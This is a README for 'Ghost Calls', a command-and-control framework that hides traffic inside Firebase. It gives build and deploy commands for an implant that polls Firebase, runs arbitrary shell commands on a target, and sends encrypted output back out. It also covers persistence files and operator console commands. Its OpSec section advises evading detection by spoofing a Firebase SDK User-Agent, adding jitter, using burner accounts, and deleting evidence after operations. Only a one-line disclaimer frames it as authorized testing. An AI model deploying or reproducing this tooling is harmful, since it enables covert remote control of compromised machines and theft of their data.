Ghost Calls — Push Notification C2
Ghost Calls is a Command & Control (C2) framework that uses Firebase Cloud Messaging (FCM) and Firebase Realtime Database as command delivery channels. Commands are delivered through legitimate Firebase infrastructure — traffic goes to firebaseio.com and googleapis.com, domains that billions of devices talk to daily.
Architecture
┌─────────────┐ ┌────────────────────────────┐ ┌─────────────┐
│ Operator │──────▶│ Firebase Realtime DB │◀──────│ Implant │
│ (Server) │ │ (Dead-drop / PubSub) │ │ (Client) │
└─────────────┘ └────────────────────────────┘ └─────────────┘
│ │ │
│ HTTPS PUT │ REST API │ HTTPS GET
│ commands/<id>.json │ (over HTTPS) │ commands/<id>.json
│ │ │
│ │ │
│ HTTPS GET │ │ HTTPS PUT
│ results/<id>.json │ │ results/<id>/<cmd>.json
│ │ │
│ (Optional) │ │ DELETE
│ FCM HTTP v1 API │ │ commands/<id>.json
└────▶ FCM Send ─────────▶ Push notification ─────────────┘
How It Works
- Command Injection — The operator writes an encrypted command to the Firebase Realtime Database at
commands/<implant-id>.json - Polling — The implant periodically reads its command path over HTTPS
- Execution — The implant decrypts and executes the command via
/bin/sh -c(orcmd.exe /Con Windows) - Exfiltration — The implant encrypts the output and writes it to
results/<implant-id>/<command-id>.json - Cleanup — The implant deletes the command from Firebase, signaling it's been processed
- Collection — The operator fetches results from
results/<implant-id>/at any time
Why Firebase?
| Feature | Benefit |
|---|---|
| Domain reputation | firebaseio.com, googleapis.com — billions of legitimate requests daily |
| TLS by default | All traffic is HTTPS, indistinguishable from legitimate Firebase SDK traffic |
| No custom server | Your C2 infrastructure is Firebase's infrastructure |
| WebSocket fallback | RTDB uses WebSockets when available — looks like normal Firebase sync |
| Global CDN | Low-latency from anywhere |
| Free tier | 1GB stored, 10GB/month download — plenty for a C2 operation |
Quick Start
1. Prerequisites
- Go 1.21+ (for building)
- A Firebase project (see FIREBASE_SETUP.md for detailed instructions)
- The Firebase Realtime Database URL (looks like
https://my-project-default-rtdb.firebaseio.com) - A shared encryption secret (the
GHOST_SECRET)
2. Build
# Build the server (operator console)
cd cmd/server
go build -o ../../bin/ghost-server .
# Build the client (implant)
cd cmd/client
go build -o ../../bin/ghost-client .
Or build everything at once:
mkdir -p bin
go build -o bin/ghost-server ./cmd/server
go build -o bin/ghost-client ./cmd/client
3. Configure Firebase
Set your database rules to allow read/write:
{
"rules": {
".read": true,
".write": true
}
}
Warning: Wide-open rules are for testing only. For production, use Firebase Authentication or custom tokens. See the OpSec section below.
4. Start the Server
export FIREBASE_URL="https://my-project-default-rtdb.firebaseio.com"
export GHOST_SECRET="your-very-secret-key-change-this"
export GHOST_PORT="9090"
./bin/ghost-server
5. Deploy an Implant
./bin/ghost-client \
--project "my-project" \
--id "target-001" \
--secret "your-very-secret-key-change-this" \
--interval 30s \
--jitter 15s
6. Register and Send Commands
From the server console:
ghost> register target-001
[+] Registered implant target-001
ghost> list
ID FCM Token Last Seen
─────────────────────────────────────────────────────────────────────────
target-001 - 2026-05-11T22:00:00Z
ghost> exec target-001 uname -a
ghost> exec target-001 whoami
ghost> exec target-001 curl -s http://internal-service.local/status
ghost> results target-001
Server Commands
| Command | Description |
|---|---|
register <id> [fcm_token] |
Register an implant (optionally with FCM token) |
exec <id> <command> |
Send a command to a specific implant |
broadcast <command> |
Send command to all registered implants |
list |
List all registered implants with metadata |
results <id> |
Fetch and display results from an implant |
forget <id> |
Remove an implant registration |
status |
Display server configuration and overview |
push <id> <json> |
Send raw FCM push payload (for testing) |
help |
Display help |
exit |
Shut down the server |
Client Flags
| Flag | Default | Description |
|---|---|---|
--project |
— | Firebase project ID (e.g., my-project) |
--db-url |
— | Full Firebase RTDB URL (overrides --project) |
--id |
— | Required. Unique implant identifier |
--secret |
— | Required. Encryption secret (must match server) |
--interval |
30s |
Base poll interval |
--jitter |
15s |
Max random jitter added to each poll |
--verbose |
false |
Enable verbose logging |
Persistence
The implant writes its identity to /etc/ghost/id and secret to /etc/ghost/secret on first run. On subsequent runs, if --id is omitted, it reads from /etc/ghost/id. This allows pre-provisioning the implant by writing these files.
Encryption
All command data is encrypted at rest in Firebase using AES-256-GCM before it ever leaves the server.
Key Derivation
key = SHA-256(implant_id + ":" + server_secret)
- Each implant gets a unique encryption key derived from its ID + the shared server secret
- If an implant is compromised, only that implant's key is recoverable (assuming the server secret stays safe)
- The server secret itself is never stored in Firebase
Encryption Flow
Server:
1. Derive key from implant ID + GHOST_SECRET
2. Encrypt command with AES-256-GCM (random nonce prepended)
3. Base64-encode ciphertext
4. Write to Firebase: { "cmd": "<base64>", "id": "<uuid>", "ts": <ms> }
Implant:
1. Read from Firebase
2. Base64-decode ciphertext
3. Derive same key from implant ID + secret
4. Decrypt with AES-256-GCM
5. Execute command
Result encryption follows the same pattern (encrypted with the same derived key).
OpSec Notes
Traffic Analysis
- All traffic is HTTPS to
firebaseio.com— indistinguishable from legitimate Firebase SDK traffic - The implant uses a
User-Agent: Firebase/8.10.0 (Android; Google; SDK)header to blend in - Poll intervals with random jitter (±15s by default) avoid deterministic timing fingerprints
DisableKeepAlives: trueprevents persistent connections that could be fingerprinted
Database Rules
Development (open to all):
{
"rules": {
".read": true,
".write": true
}
}
Production (with Firebase Auth):
{
"rules": {
"commands": {
"$implant_id": {
".read": "auth != null",
".write": "auth != null"
}
},
"results": {
"$implant_id": {
".read": "auth != null",
".write": "auth != null"
}
}
}
}
Locked down (custom auth token required):
{
"rules": {
"commands": {
"$implant_id": {
".read": "auth.uid === $implant_id",
".write": "auth.uid === 'server'"
}
},
"results": {
"$implant_id": {
".read": "auth.uid === 'server'",
".write": "auth.uid === $implant_id"
}
}
}
}
Encryption at Rest
- Commands are always encrypted before being written to Firebase
- The Firebase database never sees plaintext command data
- Even with database admin access, an adversary sees only base64 ciphertext
- Never use the server secret in the database rules or command payloads
Rate Limiting
- Firebase Realtime Database has rate limits: roughly 200 simultaneous connections, 10MB/min write, 10K/min writes per project (free tier)
- Implants should use jittered intervals of 30s+ to avoid triggering rate limits
- For large deployments, consider staggering implant start times
- Upgrade to Blaze plan for higher limits in production operations
Operational Security
- Use a burner Google account to create the Firebase project — never link to personal accounts
- Enable Firebase Auth with email/password or custom tokens for production use
- Rotate the GHOST_SECRET between operations
- Use unique implant IDs — never reuse across targets
- Consider using Firebase App Check for additional verification
- Delete the Firebase project entirely after the operation
FCM Integration (Advanced)
The current implementation uses the Realtime Database as a dead-drop mechanism. For push-based command delivery (instant delivery without polling), you need:
- Enable Firebase Cloud Messaging in your Firebase project
- An Android app (or a device with FCM capability) on the target
- The implant registers for FCM and sends its registration token to the server
- The server uses the FCM HTTP v1 API to push commands directly to the device
An FCM push-based approach is more sophisticated and harder to detect, but requires:
- More complex implant code (FCM SDK or manual HTTP/2 push handling)
- An Android/iOS runtime or a way to register for push notifications
- Higher OpSec requirements (Google Play Services integration)
The RTDB dead-drop approach achieves the same goal with less complexity and broader platform support.
DISCLAIMER
For authorized Security Testing or Educational Purposes only.